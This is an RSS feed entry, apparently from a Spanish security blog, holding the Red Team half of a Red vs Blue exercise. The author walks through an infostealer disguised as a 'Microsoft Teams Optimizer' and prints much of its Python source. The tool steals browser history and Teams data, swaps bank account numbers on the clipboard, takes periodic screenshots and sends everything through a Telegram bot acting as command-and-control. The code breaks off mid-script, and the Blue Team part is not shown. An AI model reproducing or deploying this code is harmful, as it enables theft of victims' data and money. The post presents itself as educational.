<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Blue Team vs Red Team on</title><link>https://synacklabs.github.io/categories/blue-team-vs-red-team/</link><description>Recent content in Blue Team vs Red Team on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Wed, 21 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/categories/blue-team-vs-red-team/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>El Juego del Gato y el Ratón: Crónica de un Infostealer (Red vs. Blue)</title><link>https://synacklabs.github.io/posts/infostealer/</link><pubDate>Wed, 21 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/infostealer/</guid><description>&lt;p&gt;La ciberseguridad moderna no es estática; es un enfrentamiento constante de ingenio. Para demostrar esta dinámica, hemos planteado un reto de ingeniería inversa real: el &lt;strong&gt;Red Team&lt;/strong&gt; (Isma Laya) ha diseñado un &lt;em&gt;Infostealer&lt;/em&gt; básico y personalizado, y el &lt;strong&gt;Blue Team&lt;/strong&gt; (Khaled El Modden) tiene la misión de diseccionarlo, identificar su infraestructura y neutralizar la fuga de datos.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hemos construido este reto desde cero. No es un simple script de juguete, es un binario empaquetado como una herramienta profesional de &amp;ldquo;optimización&amp;rdquo; de Microsoft Teams. La pregunta es sencilla: ¿Será capaz el Blue Team de desentrañar la lógica de nuestro código antes de que sus contraseñas y capturas de pantalla terminen en nuestro bot de Telegram?&lt;/p&gt;</description><content>&lt;p&gt;La ciberseguridad moderna no es estática; es un enfrentamiento constante de ingenio. Para demostrar esta dinámica, hemos planteado un reto de ingeniería inversa real: el &lt;strong&gt;Red Team&lt;/strong&gt; (Isma Laya) ha diseñado un &lt;em&gt;Infostealer&lt;/em&gt; básico y personalizado, y el &lt;strong&gt;Blue Team&lt;/strong&gt; (Khaled El Modden) tiene la misión de diseccionarlo, identificar su infraestructura y neutralizar la fuga de datos.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hemos construido este reto desde cero. No es un simple script de juguete, es un binario empaquetado como una herramienta profesional de &amp;ldquo;optimización&amp;rdquo; de Microsoft Teams. La pregunta es sencilla: ¿Será capaz el Blue Team de desentrañar la lógica de nuestro código antes de que sus contraseñas y capturas de pantalla terminen en nuestro bot de Telegram?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="red-team-isma-laya"&gt;Red Team (Isma Laya)&lt;/h2&gt;
&lt;p&gt;A menudo se piensa que el malware avanzado requiere años de ensamblador y &lt;em&gt;zero-days&lt;/em&gt; complejos. Sin embargo, quise demostrar que con unas pocas librerías estándar de Python y algo de ingenio, es posible crear una herramienta de exfiltración de datos bastante potente.&lt;/p&gt;
&lt;p&gt;En este artículo, voy a desglosar &amp;ldquo;Teams Optimizer&amp;rdquo;, un script que escribí hace algun tiempo para simular cómo actúa un infostealer: desde el disfraz hasta la exfiltración de datos vía Telegram.&lt;/p&gt;
&lt;h3 id="fase-1-el-gancho-ingeniería-social-y-la-gui"&gt;Fase 1: El Gancho: Ingeniería Social y la GUI&lt;/h3&gt;
&lt;p&gt;Lo primero que decidí es que mi script no podía ser una simple ventana negra de consola; nadie ejecutaría eso. Necesitaba un disfraz.&lt;/p&gt;
&lt;p&gt;Programé una interfaz gráfica (GUI) utilizando &lt;code&gt;tkinter&lt;/code&gt; que simula ser una herramienta de mantenimiento oficial de Microsoft (&amp;ldquo;Microsoft Teams Optimizer&amp;rdquo;).
Mientras el usuario ve una barra de progreso falsa avanzando y mensajes como &lt;em&gt;&amp;ldquo;Optimizando recursos de memoria&amp;hellip;&amp;rdquo;&lt;/em&gt;, mi código está haciendo el trabajo sucio en segundo plano utilizando hilos (&lt;code&gt;threading&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Así creo la distracción&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def simulate_progress()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# La barra avanza, pero el sleep es solo para ganar tiempo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress[&lt;span style="color:#e6db74"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;] = i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mientras esto ocurre, los otros hilos roban los datos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80f0-891a-ca8455978690.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fase-2-el-motor-obteniendo-permisos"&gt;Fase 2: El &amp;ldquo;Motor&amp;rdquo;: Obteniendo Permisos&lt;/h3&gt;
&lt;p&gt;Para que mi herramienta funcione al 100%, necesitaba acceso sin restricciones. Por eso, implementé una comprobación al inicio (&lt;code&gt;is_admin&lt;/code&gt;). Si el script detecta que no tiene privilegios, se relanza a sí mismo solicitando elevación.&lt;/p&gt;
&lt;p&gt;¿Por qué? Porque necesito matar procesos (&lt;code&gt;taskkill&lt;/code&gt;) y acceder a carpetas protegidas en &lt;code&gt;AppData&lt;/code&gt; para leer las bases de datos de los navegadores.&lt;/p&gt;
&lt;h3 id="fase-3-el-objetivo-principal-datos-de-navegación-y-teams"&gt;Fase 3: El Objetivo Principal: Datos de Navegación y Teams&lt;/h3&gt;
&lt;p&gt;Aquí es donde entra la lógica de extracción. Me centré en dos vectores:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;El robo de historial (Chrome/Edge)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Me di cuenta de que los navegadores bloquean sus bases de datos SQL cuando están abiertos. Mi solución fue sencilla:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Localizo el archivo &lt;code&gt;History&lt;/code&gt; en la ruta del usuario.&lt;/li&gt;
&lt;li&gt;Hago una copia temporal (&lt;code&gt;history_temp.db&lt;/code&gt;) para evitar el bloqueo de archivo en uso.&lt;/li&gt;
&lt;li&gt;Uso &lt;code&gt;sqlite3&lt;/code&gt; para volcar las URLs más visitadas a un log y enviarlo.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Secuestrando Microsoft Teams&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Teams es una mina de oro de información corporativa. Mi script localiza la base de datos LevelDB de Teams. Dado que es un formato binario complejo, integré una llamada a un ejecutable externo (&lt;code&gt;ms_teams_parser.exe&lt;/code&gt;) que convierte esos datos en un JSON legible (&lt;code&gt;teams_parsed.json&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ms_teams_parser.exe&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/hexseven/Teams-artifacts-parser/tree/main/ms_teams_parser"&gt;https://github.com/hexseven/Teams-artifacts-parser/tree/main/ms_teams_parser&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Un detalle importante:&lt;/em&gt; Tuve que programar el script para matar el proceso de Teams (&lt;code&gt;taskkill /f /im teams.exe&lt;/code&gt;) antes de la extracción, o los archivos estarían bloqueados. Ahora mismo este ejecutable solo funciona con las versiones de Microsoft Teams Classic y Microsoft &amp;lsquo;Teams 2.0&amp;rsquo; (Windows 11) con una organización personal ya que el proceso de almacenaje de la base de datos funciona diferente.&lt;/p&gt;
&lt;h3 id="fase-4-el-clipper-ataque-en-tiempo-real"&gt;Fase 4: El &amp;ldquo;Clipper&amp;rdquo;: Ataque en tiempo real&lt;/h3&gt;
&lt;p&gt;Esta es quizás la función más insidiosa que programé: &lt;code&gt;monitor_clipboard()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;No quería solo robar datos estáticos; quería intervenir en las acciones del usuario. Creé un bucle infinito que vigila el portapapeles. Usando &lt;code&gt;regex&lt;/code&gt;, el script busca patrones numéricos específicos (como cuentas bancarias).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Si detecto un patrón de cuenta bancaria...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; re.match(r&lt;span style="color:#e6db74"&gt;&amp;#39;\d{4}-\d{4}-\d{4}-\d{4}&amp;#39;&lt;/span&gt;, clipboard_content)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ...lo sustituyo por &amp;#34;mi&amp;#34; cuenta al instante.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pyperclip.copy(&lt;span style="color:#e6db74"&gt;&amp;#39;1111-2222-3333-4444&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si la víctima copia un número de cuenta y lo pega segundos después, habrá pegado el número que yo definí, no el original.&lt;/p&gt;
&lt;h3 id="fase-5-infraestructura-c2-telegram-como-servidor"&gt;Fase 5: Infraestructura C2: Telegram como servidor&lt;/h3&gt;
&lt;p&gt;No quería gastar dinero en servidores ni configurar sockets complejos que un firewall detectaría. Decidí usar la API de Telegram como mi servidor de Comando y Control (C2).&lt;/p&gt;
&lt;p&gt;Todo lo que el script recolecta (logs, capturas de pantalla, JSONs de Teams) se envía mediante peticiones &lt;code&gt;POST&lt;/code&gt; HTTPS a mi bot de Telegram. Es rápido, cifrado y, lo mejor de todo, el tráfico hacia &lt;code&gt;api.telegram.org&lt;/code&gt; rara vez se bloquea en redes corporativas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-807f-b315-da21e33e7749.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8051-ab8a-ec907dee5d97.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mensajes exfiltrados de MSTeams.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8081-99ad-d00da9a82001.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Historial de la víctima exfiltrado.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="fase-6-espionaje-visual"&gt;Fase 6: Espionaje Visual&lt;/h3&gt;
&lt;p&gt;Finalmente, añadí una función de vigilancia. Un hilo separado toma una captura de pantalla cada 5 minutos (&lt;code&gt;periodic_screenshots&lt;/code&gt;) y me la envía. Esto me permite ver en tiempo real qué está haciendo el usuario, más allá de los datos en disco.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="conclusión"&gt;Conclusión&lt;/h2&gt;
&lt;p&gt;Desarrollar este script me enseñó lo expuestos que estamos realmente. No utilicé exploits de día cero ni vulnerabilidades complejas del kernel; simplemente abusé de la confianza del usuario (la GUI falsa) y de las características estándar de automatización de Windows.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Nota: Este código fue desarrollado estrictamente con fines educativos y de investigación para comprender los vectores de ataque de los infostealers.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="script-utilizado"&gt;Script utilizado&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import re
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import glob
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import ctypes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import shutil
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import sqlite3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import platform
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import winreg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import base64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import subprocess
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import threading
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import urllib.parse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from Crypto.Cipher import AES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import win32crypt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from PIL import ImageGrab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import pyperclip &lt;span style="color:#75715e"&gt;# Para acceder y modificar el portapapeles&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import tkinter as tk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from tkinter import ttk, messagebox
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import random
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from PIL import Image, ImageTk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ——— Configuración —————————————————————————————————————————————&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BOT_TOKEN = &lt;span style="color:#e6db74"&gt;&amp;#34;74181---------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CHAT_ID = &lt;span style="color:#e6db74"&gt;&amp;#34;101-----------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TELEGRAM_API = f&lt;span style="color:#e6db74"&gt;&amp;#34;https://api.telegram.org/bot{BOT_TOKEN}/sendDocument&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PARSER_EXE = &lt;span style="color:#e6db74"&gt;&amp;#34;ms_teams_parser.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ——— Helpers —————————————————————————————————————————————————————&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def is_admin()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; ctypes.windll.shell32.IsUserAnAdmin()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; False
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_file(path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists(path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] {path} no existe&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; size = os.path.getsize(path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Enviando {path} ({size} bytes)&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; size == &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] {path} vacío, descartado&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove(path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(path, &lt;span style="color:#e6db74"&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files = {&lt;span style="color:#e6db74"&gt;&amp;#34;document&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; (os.path.basename(path), f)}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = {&lt;span style="color:#e6db74"&gt;&amp;#34;chat_id&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CHAT_ID, &lt;span style="color:#e6db74"&gt;&amp;#34;caption&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f&lt;span style="color:#e6db74"&gt;&amp;#34;From: {platform.node()}&amp;#34;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r = requests.post(TELEGRAM_API, files=files, data=params, timeout=&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Telegram response: {r.status_code}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; r.status_code == &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove(path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Error enviando {path}: {r.text}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def hide()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; platform.system() == &lt;span style="color:#e6db74"&gt;&amp;#34;Windows&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def zip_folder(folder_path, output_zip)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Comprimiendo carpeta {folder_path} en {output_zip}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shutil.make_archive(output_zip.replace(&lt;span style="color:#e6db74"&gt;&amp;#39;.zip&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;), &lt;span style="color:#e6db74"&gt;&amp;#39;zip&amp;#39;&lt;/span&gt;, folder_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Carpeta comprimida: {output_zip}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; output_zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def get_extracted_path()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; getattr(sys, &lt;span style="color:#e6db74"&gt;&amp;#39;frozen&amp;#39;&lt;/span&gt;, False)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; sys._MEIPASS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; os.path.dirname(os.path.abspath(__file__))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def find_teams_db()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; base = os.path.join(os.environ[&lt;span style="color:#e6db74"&gt;&amp;#39;LOCALAPPDATA&amp;#39;&lt;/span&gt;], &lt;span style="color:#e6db74"&gt;&amp;#39;Packages&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;MSTeams_*&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pattern = os.path.join(base, &lt;span style="color:#e6db74"&gt;&amp;#39;**&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;IndexedDB&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;https_teams.microsoft.com_0.indexeddb.leveldb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; matches = glob.glob(pattern, recursive=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; matches&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; max(matches, key=os.path.getmtime)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Teams DB no encontrada&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_teams_db_zip()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; db_folder = find_teams_db()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not db_folder&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; db_folder
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def parse_teams_with_exe(leveldb_folder)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output_json = &lt;span style="color:#e6db74"&gt;&amp;#34;teams_parsed.json&amp;#34;&lt;/span&gt;
